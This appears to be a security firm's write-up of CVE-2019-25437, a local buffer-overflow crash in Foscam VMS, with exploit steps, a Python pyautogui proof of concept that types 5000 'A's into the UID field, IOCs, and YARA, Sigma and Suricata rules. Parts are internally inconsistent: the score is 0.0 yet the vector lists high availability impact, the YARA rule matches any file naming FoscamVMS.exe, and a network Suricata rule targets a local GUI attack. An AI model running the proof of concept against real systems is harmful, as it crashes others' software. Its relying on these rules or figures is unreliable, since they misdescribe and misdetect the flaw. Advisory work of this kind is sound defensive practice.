CVE-2019-25437

Executive Summary

CVE-2019-25437 is a buffer overflow vulnerability in the Foscam Video Management System (VMS) version 1.1.6.6. The flaw resides in the UID field during the device addition process. A local attacker can supply an excessively long string (5000 characters) into the UID parameter, causing a buffer overflow when the Login Check function is invoked. This results in an application crash, leading to a denial of service (DoS) condition. The vulnerability has a CVSS score of 0.0, indicating no official severity rating, but the impact is a local DoS. No patch is currently available from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unrated)
• Attack Vector: Local (AV:L)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)
• Threat Level: Low (Local DoS only, no remote exploitation)

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the Foscam VMS application. The UID field, used to identify a camera during device addition, is copied into a fixed-size buffer without proper bounds checking. When a user inputs a string longer than the allocated buffer (5000 characters), the excess data overwrites adjacent memory, including the return address and other critical data. When the Login Check function is called, the corrupted stack causes the application to crash.

Root Cause: The application uses a function like strcpy() or sprintf() without length validation, allowing an attacker to overflow the buffer.

Attack Vector: Local access to the Foscam VMS application. The attacker must be able to interact with the device addition dialog.

Impact: Denial of service (application crash). No code execution is confirmed, but the overflow could potentially be leveraged for arbitrary code execution with further analysis.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void add_device(char *uid) {
    char buffer[256];
    strcpy(buffer, uid); // No bounds check
    // ... login check function
}

Patched Code (Conceptual):

void add_device(char *uid) {
    char buffer[256];
    strncpy(buffer, uid, sizeof(buffer) - 1); // Bounds check
    buffer[sizeof(buffer) - 1] = '\0';
    // ... login check function
}

No official patch is available from Foscam. The vendor has not released an update to address this vulnerability.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Foscam VMS 1.1.6.6 installed on a Windows machine.
• Local access to the system.

Exploit Steps:

1. Open Foscam VMS.
2. Navigate to the "Add Device" dialog.
3. In the UID field, input a string of 5000 characters (e.g., 'A' repeated 5000 times).
4. Click "OK" or "Add" to trigger the Login Check function.
5. The application will crash, resulting in a denial of service.

Proof of Concept (Python):

import subprocess
import time

# Launch Foscam VMS (adjust path as needed)
proc = subprocess.Popen(["C:\\Program Files\\Foscam\\VMS\\FoscamVMS.exe"])

# Wait for application to load
time.sleep(5)

# Simulate input (requires GUI automation, e.g., pyautogui)
import pyautogui
pyautogui.click(100, 100)  # Click on UID field
pyautogui.write("A" * 5000)  # Input 5000 'A's
pyautogui.press('enter')  # Trigger login check

# Application should crash

Blue Team

Detection:

• Monitor for application crashes (Event ID 1000 in Windows Event Log).
• Look for long strings in UID fields in logs (if available).
• Use process monitoring to detect abnormal memory access.

Mitigation:

• Restrict local access to the Foscam VMS application.
• Use application whitelisting to prevent unauthorized modifications.
• Consider using a virtualized environment for running legacy software.

Indicators of Compromise (IOCs)

• Application Crash: FoscamVMS.exe process termination unexpectedly.
• Event Log Entry: Event ID 1000 with faulting module FoscamVMS.exe.
• Memory Dump: Corrupted stack data containing long strings of 'A' characters.
• File Artifacts: Crash dump files (e.g., FoscamVMS.exe.*.dmp) in the application directory.

Detection Engineering

YARA Rule

rule CVE_2019_25437_Foscam_VMS_BOF {
    meta:
        description = "Detects buffer overflow in Foscam VMS UID field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25437"
    strings:
        $uid_long = /UID.{0,10}[A-Za-z0-9]{5000,}/ nocase
        $crash_string = "FoscamVMS.exe" ascii
    condition:
        $uid_long or $crash_string
}

Sigma Rule

title: Foscam VMS Buffer Overflow Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects application crash due to buffer overflow in Foscam VMS
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: application
detection:
    selection:
        EventID: 1000
        Application: 'FoscamVMS.exe'
    condition: selection
falsepositives:
    - Legitimate application crashes due to other reasons
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2019-25437 Foscam VMS Buffer Overflow Attempt"; flow:to_server; content:"UID"; nocase; content:"|41 41 41 41|"; distance:0; within:5000; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Restrict local access to the Foscam VMS application. Only trusted users should have access.
• Short-term: Monitor for application crashes and investigate any suspicious activity.
• Long-term: Replace Foscam VMS with a supported alternative. No patch is available from the vendor.
• Workaround: Use input validation on the UID field (if source code is available) or use a third-party tool to limit input length.

Valters IT
Securing Digital Frontiers